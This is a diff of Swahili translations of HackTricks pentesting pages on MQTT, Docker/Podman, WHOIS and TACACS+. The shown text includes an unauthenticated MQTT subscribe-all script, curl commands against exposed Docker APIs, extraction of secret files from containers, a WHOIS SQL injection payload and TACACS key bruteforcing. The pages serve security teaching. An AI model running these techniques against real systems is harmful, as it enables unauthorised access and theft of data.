<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ni injini ya kutafuta inayotumiwa na **dark-web** ambayo inatoa kazi za **bure** kuangalia kama kampuni au wateja wake wamekuwa **compromised** na **stealer malwares**.
|
||||
|
||||
Lengo lao kuu la WhiteIntel ni kupambana na utekaji wa akaunti na mashambulizi ya ransomware yanayotokana na malware inayopora taarifa.
|
||||
|
||||
Unaweza kuangalia tovuti yao na kujaribu injini yao kwa **bure** kwenye:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Basic Information
|
||||
|
||||
**MQ Telemetry Transport (MQTT)** inajulikana kama **protocol ya ujumbe ya kuchapisha/kujiunga** ambayo inajitokeza kwa urahisi wake mkubwa na mwanga. Protocol hii imeundwa mahsusi kwa mazingira ambapo vifaa vina uwezo mdogo na vinatumika kwenye mitandao ambayo ina sifa za upana wa bendi ya chini, ucheleweshaji mkubwa, au muunganisho usio na uhakika. Malengo makuu ya MQTT ni pamoja na kupunguza matumizi ya upana wa bendi ya mtandao na kupunguza mahitaji kwenye rasilimali za kifaa. Aidha, inakusudia kudumisha mawasiliano ya kuaminika na kutoa kiwango fulani cha uhakikisho wa usambazaji. Malengo haya yanaufanya MQTT kuwa mzuri sana kwa uwanja unaokua wa **mawasiliano kati ya mashine (M2M)** na **Internet of Things (IoT)**, ambapo ni muhimu kuunganisha vifaa vingi kwa ufanisi. Zaidi ya hayo, MQTT ni faida kubwa kwa programu za simu, ambapo kuhifadhi upana wa bendi na maisha ya betri ni muhimu.
|
||||
**MQ Telemetry Transport (MQTT)** inajulikana kama **protokali ya ujumbe ya kuchapisha/kujiunga** ambayo inajitokeza kwa urahisi wake mkubwa na mwanga. Protokali hii imeandaliwa mahsusi kwa mazingira ambapo vifaa vina uwezo mdogo na vinatumika kwenye mitandao ambayo ina sifa za upana wa bendi ya chini, ucheleweshaji mkubwa, au muunganisho usio na uhakika. Malengo makuu ya MQTT ni pamoja na kupunguza matumizi ya upana wa bendi ya mtandao na kupunguza mahitaji kwenye rasilimali za kifaa. Aidha, inakusudia kudumisha mawasiliano ya kuaminika na kutoa kiwango fulani cha uhakikisho wa usambazaji. Malengo haya yanaufanya MQTT kuwa mzuri sana kwa uwanja unaokua wa **mawasiliano kati ya mashine (M2M)** na **Internet of Things (IoT)**, ambapo ni muhimu kuunganisha vifaa vingi kwa ufanisi. Zaidi ya hayo, MQTT ni faida kubwa kwa programu za simu, ambapo kuhifadhi upana wa bendi na maisha ya betri ni muhimu.
|
||||
|
||||
**Default port:** 1883
|
||||
```
|
||||
|
|
@ -40,9 +27,9 @@ PORT STATE SERVICE REASON
|
|||
```
|
||||
## Kukagua trafiki
|
||||
|
||||
Wakati pakiti ya **CONNECT** inapokelewa na wakala wa MQTT, pakiti ya **CONNACK** inatumwa kurudi. Pakiti hii ina nambari ya kurudi ambayo ni muhimu kwa kuelewa hali ya muunganisho. Nambari ya kurudi ya **0x00** inamaanisha kwamba ithibati zimekubaliwa, ikionyesha muunganisho uliofanikiwa. Kwa upande mwingine, nambari ya kurudi ya **0x05** inaashiria kwamba ithibati si halali, hivyo kuzuia muunganisho.
|
||||
Wakati pakiti ya **CONNECT** inapokelewa na wakala wa MQTT, pakiti ya **CONNACK** inatumwa kurudi. Pakiti hii ina nambari ya kurudi ambayo ni muhimu kwa kuelewa hali ya muunganisho. Nambari ya kurudi ya **0x00** inamaanisha kwamba akreditivu zimekubaliwa, ikionyesha muunganisho uliofanikiwa. Kwa upande mwingine, nambari ya kurudi ya **0x05** inaashiria kwamba akreditivu si halali, hivyo kuzuia muunganisho.
|
||||
|
||||
Kwa mfano, ikiwa wakala atakataa muunganisho kutokana na ithibati zisizo halali, hali hiyo itakuwa kama ifuatavyo:
|
||||
Kwa mfano, ikiwa wakala atakataa muunganisho kutokana na akreditivu zisizo halali, hali hiyo itakuwa kama ifuatavyo:
|
||||
```
|
||||
{
|
||||
"returnCode": "0x05",
|
||||
|
|
@ -71,7 +58,7 @@ apt-get install mosquitto mosquitto-clients
|
|||
mosquitto_sub -t 'test/topic' -v #Subscribe to 'test/topic'
|
||||
mosquitto_sub -h <host-ip> -t "#" -v #Subscribe to ALL topics.
|
||||
```
|
||||
Au unaweza **kufanya kazi hii kujaribu kuungana na huduma ya MQTT bila uthibitishaji, jiandikishe kwa kila mada na zisikize**:
|
||||
Au unaweza **kufanya kazi hii kujaribu kuungana na huduma ya MQTT bila uthibitisho, jiandikishe kwa kila mada na usikilize**:
|
||||
```python
|
||||
#This is a modified version of https://github.com/Warflop/IOT-MQTT-Exploit/blob/master/mqtt.py
|
||||
import paho.mqtt.client as mqtt
|
||||
|
|
@ -110,12 +97,12 @@ Mfano wa kuchapisha/kusajili unajumuisha:
|
|||
|
||||
* **Publisher**: anachapisha ujumbe kwa mada moja (au nyingi) katika broker.
|
||||
* **Subscriber**: anasajili kwa mada moja (au nyingi) katika broker na kupokea ujumbe wote wanaotumwa kutoka kwa publisher.
|
||||
* **Broker**: inaratibu ujumbe wote kutoka kwa publishers hadi subscribers.
|
||||
* **Broker**: inaratibu ujumbe wote kutoka kwa publishers hadi kwa subscribers.
|
||||
* **Topic**: inajumuisha ngazi moja au zaidi ambazo zimegawanywa na slash ya mbele (mfano, /smartshouse/livingroom/temperature).
|
||||
|
||||
### Packet Format <a href="#f15a" id="f15a"></a>
|
||||
|
||||
Kila pakiti ya MQTT ina kichwa kisichobadilika (Mchoro 02).Mchoro 02: Kichwa Kisichobadilika
|
||||
Kila pakiti ya MQTT ina kichwa kisichobadilika (Mchoro 02). Mchoro 02: Kichwa Kisichobadilika
|
||||
|
||||
|
||||
|
||||
|
|
@ -132,7 +119,7 @@ Kila pakiti ya MQTT ina kichwa kisichobadilika (Mchoro 02).Mchoro 02: Kichwa Kis
|
|||
* SUBACK (9): Kuthibitisha kwa seva ombi la SUBSCRIBE.
|
||||
* UNSUBSCRIBE (10): Ombi la mteja kusitisha kupokea ujumbe kutoka kwa mada.
|
||||
* UNSUBACK (11): Jibu la seva kwa ombi la UNSUBSCRIBE.
|
||||
* PINGREQ (12): Ujumbe wa moyo unaotumwa na mteja.
|
||||
* PINGREQ (12): Ujumbe wa moyo uliopelekwa na mteja.
|
||||
* PINGRESP (13): Jibu la seva kwa ujumbe wa moyo.
|
||||
* DISCONNECT (14): Imeanzishwa na mteja kumaliza muunganisho.
|
||||
* Thamani mbili, 0 na 15, zimewekwa kama zilizohifadhiwa na matumizi yao yanakatazwa.
|
||||
|
|
@ -141,17 +128,6 @@ Kila pakiti ya MQTT ina kichwa kisichobadilika (Mchoro 02).Mchoro 02: Kichwa Kis
|
|||
|
||||
* `port:1883 MQTT`
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ni injini ya utafutaji inayotumiwa na **dark-web** ambayo inatoa kazi za **bure** kuangalia ikiwa kampuni au wateja wake wamekuwa **compromised** na **stealer malwares**.
|
||||
|
||||
Lengo lao kuu la WhiteIntel ni kupambana na kuchukuliwa kwa akaunti na mashambulizi ya ransomware yanayotokana na malware ya kuiba taarifa.
|
||||
|
||||
Unaweza kuangalia tovuti yao na kujaribu injini yao **bure** kwenye:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
|||
|
|
@ -15,33 +15,20 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
### Msingi wa Docker
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ni injini ya kutafuta inayotumiwa na **dark-web** ambayo inatoa kazi za **bure** kuangalia kama kampuni au wateja wake wamekuwa **compromised** na **stealer malwares**.
|
||||
#### Nini
|
||||
|
||||
Lengo lao kuu la WhiteIntel ni kupambana na utekaji wa akaunti na mashambulizi ya ransomware yanayotokana na malware inayopora taarifa.
|
||||
|
||||
Unaweza kuangalia tovuti yao na kujaribu injini yao kwa **bure** kwenye:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
### Misingi ya Docker
|
||||
|
||||
#### Nini ni
|
||||
|
||||
Docker ni **jukwaa la mbele** katika **sekta ya containerization**, likiongoza **uvumbuzi wa kuendelea**. Inarahisisha uundaji na usambazaji wa programu, kuanzia **za jadi hadi za kisasa**, na kuhakikisha **kupelekwa kwa usalama** katika mazingira mbalimbali.
|
||||
Docker ni **jukwaa la mbele** katika **sekta ya uundaji wa kontena**, likiongoza **uvumbuzi endelevu**. Inarahisisha uundaji na usambazaji wa programu, kuanzia **za jadi hadi za kisasa**, na kuhakikisha **kuwekwa salama** kwao katika mazingira mbalimbali.
|
||||
|
||||
#### Msingi wa usanifu wa docker
|
||||
|
||||
* [**containerd**](http://containerd.io): Hii ni **core runtime** kwa ajili ya kontena, ikihusika na **usimamizi wa maisha ya kontena**. Hii inajumuisha kushughulikia **hamisho na uhifadhi wa picha**, pamoja na kusimamia **utekelezaji, ufuatiliaji, na mtandao** wa kontena. **Maelezo zaidi** kuhusu containerd yanachunguzwa **zaidi**.
|
||||
* [**containerd**](http://containerd.io): Hii ni **muda wa msingi** kwa ajili ya kontena, ikihusika na **usimamizi wa maisha ya kontena** kwa kina. Hii inajumuisha kushughulikia **uhamishaji na uhifadhi wa picha**, pamoja na kusimamia **utekelezaji, ufuatiliaji, na mtandao** wa kontena. **Maelezo zaidi** kuhusu containerd yanapatikana **hapa**.
|
||||
* **container-shim** ina jukumu muhimu kama **kiunganishi** katika kushughulikia **kontena zisizo na kichwa**, ikichukua nafasi kutoka **runc** baada ya kontena kuanzishwa.
|
||||
* [**runc**](http://runc.io): Inajulikana kwa uwezo wake wa **lightweight na universal container runtime**, runc inalingana na **kiwango cha OCI**. Inatumika na containerd ku **anzisha na kusimamia kontena** kulingana na **miongozo ya OCI**, ikiwa imekua kutoka kwa **libcontainer** ya awali.
|
||||
* [**runc**](http://runc.io): Inajulikana kwa uwezo wake wa **muda wa kontena mwepesi na wa ulimwengu wote**, runc inafanana na **kiwango cha OCI**. Inatumika na containerd ku **anzisha na kusimamia kontena** kulingana na **miongozo ya OCI**, ikiwa imekua kutoka kwa **libcontainer** ya awali.
|
||||
* [**grpc**](http://www.grpc.io) ni muhimu kwa **kuwezesha mawasiliano** kati ya containerd na **docker-engine**, kuhakikisha **mawasiliano bora**.
|
||||
* [**OCI**](https://www.opencontainers.org) ni muhimu katika kudumisha **specifications za OCI** kwa ajili ya runtime na picha, huku toleo jipya la Docker likiwa **linatii viwango vya OCI vya picha na runtime**.
|
||||
* [**OCI**](https://www.opencontainers.org) ni muhimu katika kudumisha **viwango vya OCI** kwa muda wa utekelezaji na picha, huku toleo jipya la Docker likiwa **linakidhi viwango vya picha na muda wa utekelezaji wa OCI**.
|
||||
|
||||
#### Amri za msingi
|
||||
```bash
|
||||
|
|
@ -90,20 +77,20 @@ ctr container delete <containerName>
|
|||
```
|
||||
#### Podman
|
||||
|
||||
**Podman** ni injini ya kontena ya chanzo wazi inayofuata viwango vya [Open Container Initiative (OCI)](https://github.com/opencontainers), iliyotengenezwa na kudumishwa na Red Hat. Inajitenga na Docker kwa sifa kadhaa tofauti, hasa **muundo wake usio na daemon** na msaada wa **kontena zisizo na mizizi**, ikiruhusu watumiaji kuendesha kontena bila ruhusa za mizizi.
|
||||
**Podman** ni injini ya kontena ya chanzo wazi inayofuata viwango vya [Open Container Initiative (OCI)](https://github.com/opencontainers), iliyotengenezwa na kudumishwa na Red Hat. Inajitofautisha na Docker kwa sifa kadhaa tofauti, hasa **muundo wake usio na daemon** na msaada wa **kontena zisizo na mizizi**, ikiruhusu watumiaji kuendesha kontena bila ruhusa za mizizi.
|
||||
|
||||
Podman imeundwa kuwa na ufanisi na API ya Docker, ikiruhusu matumizi ya amri za Docker CLI. Ufanisi huu unapanuka hadi kwenye mfumo wake wa ikolojia, ambao unajumuisha zana kama **Buildah** kwa ajili ya kujenga picha za kontena na **Skopeo** kwa ajili ya operesheni za picha kama push, pull, na inspect. Maelezo zaidi kuhusu zana hizi yanaweza kupatikana kwenye [ukurasa wao wa GitHub](https://github.com/containers/buildah/tree/master/docs/containertools).
|
||||
Podman imeundwa kuwa na ufanisi na API ya Docker, ikiruhusu matumizi ya amri za Docker CLI. Ufanisi huu unapanuka hadi kwenye mfumo wake wa ikolojia, ambao unajumuisha zana kama **Buildah** kwa ajili ya kujenga picha za kontena na **Skopeo** kwa ajili ya operesheni za picha kama vile push, pull, na inspect. Maelezo zaidi kuhusu zana hizi yanaweza kupatikana kwenye [ukurasa wao wa GitHub](https://github.com/containers/buildah/tree/master/docs/containertools).
|
||||
|
||||
**Mabadiliko Muhimu**
|
||||
**Tofauti Muhimu**
|
||||
|
||||
* **Muundo**: Tofauti na mfano wa mteja-server wa Docker wenye daemon ya nyuma, Podman inafanya kazi bila daemon. Muundo huu unamaanisha kwamba kontena zinaendesha kwa ruhusa za mtumiaji anayezianza, kuboresha usalama kwa kuondoa hitaji la ufikiaji wa mizizi.
|
||||
* **Muundo**: Tofauti na mfano wa mteja-server wa Docker wenye daemon ya nyuma, Podman inafanya kazi bila daemon. Muundo huu unamaanisha kwamba kontena zinaendesha kwa ruhusa za mtumiaji anayezianzisha, kuboresha usalama kwa kuondoa hitaji la ufikiaji wa mizizi.
|
||||
* **Ushirikiano wa Systemd**: Podman inashirikiana na **systemd** ili kudhibiti kontena, ikiruhusu usimamizi wa kontena kupitia vitengo vya systemd. Hii inatofautiana na matumizi ya Docker ya systemd hasa kwa ajili ya kusimamia mchakato wa daemon wa Docker.
|
||||
* **Kontena zisizo na Mizizi**: Sifa muhimu ya Podman ni uwezo wake wa kuendesha kontena chini ya ruhusa za mtumiaji anayezindua. Njia hii inapunguza hatari zinazohusiana na uvunjaji wa kontena kwa kuhakikisha kwamba washambuliaji wanapata tu ruhusa za mtumiaji aliyeathirika, si ufikiaji wa mizizi.
|
||||
* **Kontena zisizo na mizizi**: Sifa muhimu ya Podman ni uwezo wake wa kuendesha kontena chini ya ruhusa za mtumiaji anayezianzisha. Njia hii inapunguza hatari zinazohusiana na uvunjaji wa kontena kwa kuhakikisha kwamba washambuliaji wanapata tu ruhusa za mtumiaji aliyeathirika, si ufikiaji wa mizizi.
|
||||
|
||||
Njia ya Podman inatoa mbadala salama na rahisi kwa Docker, ikisisitiza usimamizi wa ruhusa za mtumiaji na ufanisi na mifumo iliyopo ya kazi ya Docker.
|
||||
|
||||
{% hint style="info" %}
|
||||
Kumbuka kwamba kama podman inakusudia kusaidia API sawa na docker, unaweza kutumia amri sawa na podman kama na docker kama:
|
||||
Kumbuka kwamba kwa kuwa podman inakusudia kusaidia API sawa na docker, unaweza kutumia amri sawa na podman kama na docker kama:
|
||||
```bash
|
||||
podman --version
|
||||
podman info
|
||||
|
|
@ -125,7 +112,7 @@ PORT STATE SERVICE
|
|||
|
||||
#### Manual
|
||||
|
||||
Kumbuka kwamba ili kuhesabu API ya docker unaweza kutumia amri `docker` au `curl` kama katika mfano ufuatao:
|
||||
Kumbuka kwamba ili kuhesabu API ya docker unaweza kutumia amri ya `docker` au `curl` kama katika mfano ufuatao:
|
||||
```bash
|
||||
#Using curl
|
||||
curl -s http://open.docker.socket:2375/version | jq #Get version
|
||||
|
|
@ -234,7 +221,7 @@ Ikiwa uko ndani ya mwenyeji anayetumia docker, unaweza [**kusoma habari hii kuja
|
|||
docker ps [| grep <kubernetes_service_name>]
|
||||
docker inspect <docker_id>
|
||||
```
|
||||
Angalia **env** (sehemu ya mabadiliko ya mazingira) kwa siri na unaweza kupata:
|
||||
Check **env** (sehemu ya mabadiliko ya mazingira) kwa siri na unaweza kupata:
|
||||
|
||||
* Nywila.
|
||||
* Ip’s.
|
||||
|
|
@ -242,7 +229,7 @@ Angalia **env** (sehemu ya mabadiliko ya mazingira) kwa siri na unaweza kupata:
|
|||
* Njia.
|
||||
* Mengine… .
|
||||
|
||||
Ikiwa unataka kutoa faili:
|
||||
If you want to extract a file:
|
||||
```bash
|
||||
docker cp <docket_id>:/etc/<secret_01> <secret_01>
|
||||
```
|
||||
|
|
@ -267,22 +254,22 @@ docker cp <docket_id>:/etc/<secret_01> <secret_01>
|
|||
|
||||
#### Securing Dockerfiles
|
||||
|
||||
* Unaweza kutumia chombo [https://github.com/buddy-works/dockerfile-linter](https://github.com/buddy-works/dockerfile-linter) **kukagua Dockerfile yako** na kupata aina zote za makosa ya usanidi. Kila kosa la usanidi litapewa ID, unaweza kupata hapa [https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md](https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md) jinsi ya kuyarekebisha.
|
||||
* Unaweza kutumia chombo [https://github.com/buddy-works/dockerfile-linter](https://github.com/buddy-works/dockerfile-linter) ili **kukagua Dockerfile yako** na kupata aina zote za makosa ya usanidi. Kila kosa la usanidi litapewa ID, unaweza kupata hapa [https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md](https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md) jinsi ya kuyarekebisha.
|
||||
* `dockerfilelinter -f Dockerfile`
|
||||
|
||||
.png>)
|
||||
|
||||
* Unaweza kutumia chombo [https://github.com/replicatedhq/dockerfilelint](https://github.com/replicatedhq/dockerfilelint) **kukagua Dockerfile yako** na kupata aina zote za makosa ya usanidi.
|
||||
* Unaweza kutumia chombo [https://github.com/replicatedhq/dockerfilelint](https://github.com/replicatedhq/dockerfilelint) ili **kukagua Dockerfile yako** na kupata aina zote za makosa ya usanidi.
|
||||
* `dockerfilelint Dockerfile`
|
||||
|
||||
.png>)
|
||||
|
||||
* Unaweza kutumia chombo [https://github.com/RedCoolBeans/dockerlint](https://github.com/RedCoolBeans/dockerlint) **kukagua Dockerfile yako** na kupata aina zote za makosa ya usanidi.
|
||||
* Unaweza kutumia chombo [https://github.com/RedCoolBeans/dockerlint](https://github.com/RedCoolBeans/dockerlint) ili **kukagua Dockerfile yako** na kupata aina zote za makosa ya usanidi.
|
||||
* `dockerlint Dockerfile`
|
||||
|
||||
.png>)
|
||||
|
||||
* Unaweza kutumia chombo [https://github.com/hadolint/hadolint](https://github.com/hadolint/hadolint) **kukagua Dockerfile yako** na kupata aina zote za makosa ya usanidi.
|
||||
* Unaweza kutumia chombo [https://github.com/hadolint/hadolint](https://github.com/hadolint/hadolint) ili **kukagua Dockerfile yako** na kupata aina zote za makosa ya usanidi.
|
||||
* `hadolint Dockerfile`
|
||||
|
||||
.png>)
|
||||
|
|
@ -290,7 +277,7 @@ docker cp <docket_id>:/etc/<secret_01> <secret_01>
|
|||
#### Logging Suspicious activity
|
||||
|
||||
* Unaweza kutumia chombo [https://github.com/falcosecurity/falco](https://github.com/falcosecurity/falco) kugundua **tabia za kushangaza katika kontena zinazoendesha**.
|
||||
* Kumbuka katika kipande kinachofuata jinsi **Falco inavyokusanya moduli ya kernel na kuingiza**. Baada ya hapo, inapakua sheria na **kuanza kurekodi shughuli za kushangaza**. Katika kesi hii imegundua kontena 2 zenye mamlaka yameanzishwa, 1 kati yao ikiwa na mlima wa nyeti, na baada ya sekunde chache imegundua jinsi shell ilifunguliwa ndani ya moja ya kontena.
|
||||
* Kumbuka katika kipande kinachofuata jinsi **Falco inavyokusanya moduli ya kernel na kuingiza**. Baada ya hapo, inapakua sheria na **kuanza kurekodi shughuli za kushangaza**. Katika kesi hii imegundua kontena 2 zenye mamlaka yaliyanzishwa, 1 kati yao ikiwa na mlima wa nyeti, na baada ya sekunde chache imegundua jinsi shell ilifunguliwa ndani ya moja ya kontena.
|
||||
```bash
|
||||
docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco
|
||||
* Setting up /usr/src links from host
|
||||
|
|
@ -340,17 +327,6 @@ Unaweza kutumia auditd kufuatilia docker.
|
|||
* [https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html](https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html)
|
||||
* [https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc](https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ni injini ya utafutaji inayotumiwa na **dark-web** ambayo inatoa kazi za **bure** kuangalia ikiwa kampuni au wateja wake wamekuwa **compromised** na **stealer malwares**.
|
||||
|
||||
Lengo lao kuu la WhiteIntel ni kupambana na utekaji wa akaunti na mashambulizi ya ransomware yanayotokana na malware inayohusisha wizi wa taarifa.
|
||||
|
||||
Unaweza kuangalia tovuti yao na kujaribu injini yao kwa **bure** kwenye:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
|||
|
|
@ -15,19 +15,11 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Basic Information
|
||||
|
||||
Protokali ya **WHOIS** inatumika kama njia ya kawaida ya **kuuliza kuhusu waandikaji au wamiliki wa rasilimali mbalimbali za Mtandao** kupitia hifadhidata maalum. Rasilimali hizi zinajumuisha majina ya kikoa, vizuizi vya anwani za IP, na mifumo huru, miongoni mwa mengine. Zaidi ya haya, protokali hii inatumika katika kupata habari pana zaidi.
|
||||
|
||||
**Port ya kawaida:** 43
|
||||
**Default port:** 43
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
43/tcp open whois?
|
||||
|
|
@ -39,22 +31,16 @@ Pata taarifa zote ambazo huduma ya whois ina kuhusu kikoa:
|
|||
whois -h <HOST> -p <PORT> "domain.tld"
|
||||
echo "domain.ltd" | nc -vn <HOST> <PORT>
|
||||
```
|
||||
Notice than sometimes when requesting for some information to a WHOIS service the database being used appears in the response:
|
||||
Kumbuka kwamba wakati mwingine unapofanya ombi la taarifa kwa huduma ya WHOIS, hifadhidata inayotumika inaonekana katika jibu:
|
||||
|
||||
.png>)
|
||||
|
||||
Pia, huduma ya WHOIS kila wakati inahitaji kutumia **database** kuhifadhi na kutoa taarifa. Hivyo, **SQLInjection** inaweza kuwepo wakati wa **querying** database kutoka kwa taarifa zinazotolewa na mtumiaji. Kwa mfano kufanya: `whois -h 10.10.10.155 -p 43 "a') or 1=1#"` unaweza kuwa na uwezo wa **extract all** the **information** iliyohifadhiwa katika database.
|
||||
Pia, huduma ya WHOIS kila wakati inahitaji kutumia **hifadhidata** kuhifadhi na kutoa taarifa. Hivyo, **SQLInjection** inaweza kuwepo wakati wa **kuuliza** hifadhidata kutoka kwa taarifa zinazotolewa na mtumiaji. Kwa mfano, kufanya: `whois -h 10.10.10.155 -p 43 "a') or 1=1#"` unaweza kuwa na uwezo wa **kutoa** **taarifa zote** zilizohifadhiwa katika hifadhidata.
|
||||
|
||||
## Shodan
|
||||
|
||||
* `port:43 whois`
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
## HackTricks Automatic Commands
|
||||
```
|
||||
Protocol_Name: WHOIS #Protocol Abbreviation if there is one.
|
||||
|
|
@ -84,7 +70,7 @@ Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" al
|
|||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -15,17 +15,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Basic Information
|
||||
|
||||
**Mfumo wa Kudhibiti Upatikanaji wa Kituo (TACACS)** unatumika kuthibitisha watumiaji kwa kati wanaojaribu kufikia route au Seva za Upatikanaji wa Mtandao (NAS). Toleo lake lililoboreshwa, **TACACS+**, linatenganisha huduma katika uthibitishaji, idhini, na uhasibu (AAA).
|
||||
**Mfumo wa Kudhibiti Upatikanaji wa Kituo (TACACS)** unatumika kuthibitisha watumiaji kwa njia ya kati wanaojaribu kufikia route au Seva za Upatikanaji wa Mtandao (NAS). Toleo lake lililoboreshwa, **TACACS+**, linatenganisha huduma katika uthibitishaji, idhini, na uhasibu (AAA).
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
49/tcp open tacacs
|
||||
|
|
@ -46,22 +38,17 @@ Ikiwa mawasiliano kati ya mteja na seva ya TACACS yanakatizwa na mshambuliaji, *
|
|||
```
|
||||
sudo loki_gtk.py
|
||||
```
|
||||
If the key is successfully **bruteforced** (**usually in MD5 encrypted format)**, **we can access the equipment and decrypt the TACACS-encrypted traffic.**
|
||||
If the key is successfully **bruteforced** (**usually in MD5 encrypted format)**, **tunaweza kufikia vifaa na kufichua trafiki iliyofichwa ya TACACS.**
|
||||
|
||||
### Decrypting Traffic
|
||||
Once the key is successfully cracked, the next step is to **decrypt the TACACS-encrypted traffic**. Wireshark can handle encrypted TACACS traffic if the key is provided. By analyzing the decrypted traffic, information such as the **banner used and the username of the admin** user can be obtained.
|
||||
Mara tu funguo ikishindwa, hatua inayofuata ni **kufichua trafiki iliyofichwa ya TACACS**. Wireshark inaweza kushughulikia trafiki ya TACACS iliyofichwa ikiwa funguo itatolewa. Kwa kuchambua trafiki iliyofichuliwa, taarifa kama vile **bango lililotumika na jina la mtumiaji wa admin** inaweza kupatikana.
|
||||
|
||||
By gaining access to the control panel of network equipment using the obtained credentials, the attacker can exert control over the network. It's important to note that these actions are strictly for educational purposes and should not be used without proper authorization.
|
||||
Kwa kupata ufikiaji wa paneli ya udhibiti ya vifaa vya mtandao kwa kutumia akreditivu zilizopatikana, mshambuliaji anaweza kudhibiti mtandao. Ni muhimu kutambua kwamba vitendo hivi ni kwa madhumuni ya elimu pekee na havipaswi kutumika bila idhini sahihi.
|
||||
|
||||
## References
|
||||
|
||||
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
|||
|
|
@ -13,19 +13,11 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
|
||||
